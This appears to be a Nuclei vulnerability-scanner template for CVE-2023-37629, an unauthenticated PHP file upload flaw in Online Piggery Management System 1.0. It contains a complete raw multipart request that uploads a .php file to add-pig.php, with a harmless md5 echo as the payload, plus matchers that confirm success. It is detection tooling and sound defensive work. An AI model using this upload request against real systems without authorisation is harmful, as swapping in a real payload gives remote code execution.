84 lines
3.1 KiB
YAML
84 lines
3.1 KiB
YAML
id: CVE-2023-37629
|
|
|
|
info:
|
|
name: Online Piggery Management System v1.0 - Unauthenticated File Upload
|
|
author: Harsh
|
|
severity: critical
|
|
description: |
|
|
Online Piggery Management System 1.0 is vulnerable to File Upload. An unauthenticated user can upload a php file by sending a POST request to add-pig.php.
|
|
reference:
|
|
- https://www.exploit-db.com/exploits/51598
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2023-37629
|
|
- https://www.sourcecodester.com/php/11814/online-pig-management-system-basic-free-version.html
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2023-37629
|
|
cwe-id: CWE-434
|
|
epss-score: 0.13691
|
|
epss-percentile: 0.95064
|
|
cpe: cpe:2.3:a:simple_online_piggery_management_system_project:simple_online_piggery_management_system:1.0:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
vendor: simple_online_piggery_management_system_project
|
|
product: simple_online_piggery_management_system
|
|
tags: cve,cve2023,fileupload,rce,opms,intrusive
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /pig/add-pig.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: multipart/form-data; boundary=---------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
|
|
|
|
-----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
|
|
Content-Disposition: form-data; name="pigno"
|
|
|
|
pig-fms-100
|
|
-----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
|
|
Content-Disposition: form-data; name="weight"
|
|
|
|
65465
|
|
-----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
|
|
Content-Disposition: form-data; name="arrived"
|
|
|
|
{{date_time("%Y-%M-%D")}}
|
|
-----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
|
|
Content-Disposition: form-data; name="gender"
|
|
|
|
female
|
|
-----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
|
|
Content-Disposition: form-data; name="status"
|
|
|
|
active
|
|
-----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
|
|
Content-Disposition: form-data; name="breed"
|
|
|
|
2
|
|
-----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
|
|
Content-Disposition: form-data; name="remark"
|
|
|
|
4fwefwe
|
|
-----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
|
|
Content-Disposition: form-data; name="pigphoto"; filename="{{rand_base(5)}}".php"
|
|
Content-Type: application/x-php
|
|
|
|
<?php echo md5('CVE-2023-37629'); ?>
|
|
|
|
-----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
|
|
Content-Disposition: form-data; name="submit"
|
|
|
|
|
|
-----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP--
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'status_code == 302'
|
|
- 'contains(content_type, "text/html")'
|
|
- 'contains(body, "successfully created")'
|
|
condition: and
|
|
|
|
# digest: 490a0046304402201fdbcfffeb13b1d0e26a53c1849aee5465487e55cb7220f89af439ad74aa5e8102204f2de26dbec7e4852f535ad1e579b30641421aface9de39a8c9eeb95ac7ce892:922c64590222798bb761d5b6d8e72950
|